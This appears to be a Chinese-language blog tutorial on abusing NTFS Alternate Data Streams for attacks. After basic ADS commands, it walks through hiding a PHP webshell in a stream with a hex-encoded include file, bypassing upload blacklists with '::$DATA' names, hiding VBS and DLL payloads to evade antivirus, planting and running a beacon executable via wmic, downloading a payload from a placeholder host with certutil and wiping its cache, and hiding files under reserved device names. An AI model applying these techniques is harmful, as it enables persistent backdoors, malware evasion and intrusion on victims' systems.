ADS数据流实现隐藏文件
ADS:Alternate DataStreams,全称 NTFS 交换数据流,是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。简单来说,就是其他文件可以寄宿在某个文件身上。利用 ADS 数据流可以做很多有趣的事情
在NTFS分区创建ADS数据流文件有两种形式:
- 一是指定宿主文件;
- 二是创建单独的ADS文件。
创建的指令有两个:echo 和 type
- echo 用于常规字符
- type 用于将文件附加到某个文件
使用方法
1. 使用宿主文件
1 | echo test > 1.txt:flag.txt |
正常用 dir 是无法查看到的,可以使用 dir /r
1 | C:\test>dir |
文件内容可以使用命令
1 | notepad 1.txt:flag.txt |
此类文件可以通过直接删除宿主文件清除。
2. 单独的 ADS 数据流文件
这类可以通过以下命令来创建:
1 | echo hide > :mo.txt |
创建后该目录内是没有文件的,并且用当前目录下的命令行也无法查看,因为它是依赖于文件夹的ADS数据流文件
因此需要退到上一级目录去查看
1 | cd ../ |
webshell后门
由于 Windows 系统对 ADS 文件都没有执行权限,因此隐藏此类 webshell 需要用到文件包含来配合
首先创建一个被包含文件:index.php:mo.txt
在里面藏一个 phpinfo
1 | echo ^<?php phpinfo();?^> > index.php:mo.txt |
为了避免被查,给文件名进行 hex 编码,最后创建一个实现文件包含功能的 include.php
1 | <?php |
文件上传
当然这里也可以借助此数据流实现 Bypass 上传黑名单限制
当我们上传数据流文件时,形如 test.php::$DATA 、test.php:a.txt 这样的后缀, windows 系统就会需要创建一个对应的宿主文件 test.php ,同时假设我们需要上传的文件内容为:
1 | <?php phpinfo();?> |
根据上传文件名不同,会产生不同效果
test.php:a.jpg
效果:生成 test.php,文件内容为空
test.php::$DATA
效果:生成 test.php, 文件内容为 <?php phpinfo();?>
test.php::$INDEX_ALLOCATION
效果:生成 test.php 文件夹
test.php::$DATA\0.jpg
效果:生成 0.jpg,文件内容为 <?php phpinfo();?>
上传文件名为 Test.php::$INDEX_ALLOCATION 时会生成对应的文件夹,那么以理论上来说是可以用于突破 UDF 提权时无法创建文件夹的问题,但是我测试的时候并不可以,不知道是为什么,严重怀疑被参考文献骗了┭┮﹏┭┮
病毒免杀
windows的数据流文件都被禁止了执行权限,因此可以使用 wscript 来运行 vbs,在C盘的根目录使用命令:
1 | type 1.vbs > :2.vbs |
可以创建 C 盘存在的数据流文件 c::2.vbs,没有工具是无法清除的,而且也可以绕过部分安全厂商的查杀
这个 vbs 文件也是可以运行的
1 | wscript c::2.vbs |
dll 文件同理:
1 | type test.dll > 1.txt:ms |
清除方式:用winhex或者删除宿主文件或者借助相关工具如 IceSword 也可进行删除。
实战
通过文件上传执行
在 C:\WINDOWS\debug\WIA 的目录下(这个目录常被用于 Dropper(下发payload)或免杀执行)
上传文件到 ADS 数据流
1 | $upload /tmp/beacon.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe |
执行
1 | $wmic process call create \\.\c:\WINDOWS\debug\WIA\test:aa.exe |
通过文件下载执行
利用 certutil 从 HTTP 下载一个文件并直接写入目标 ADS
1 | $certutil -urlcache -split -f http://url/test.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe |
删除certutil缓存
1 | $certutil.exe -urlcache -split -f http://url/test.exe delete |
进一步隐藏
如果想要 dir/s 里看不到 ADS,可以使用特殊的文件名称:
1 | \\.\C:\test\COM1 |
并且这些文件是不可以直接在UI界面删除的,要删除的话使用如下命令:
1 | del \\.\C:\test\nul |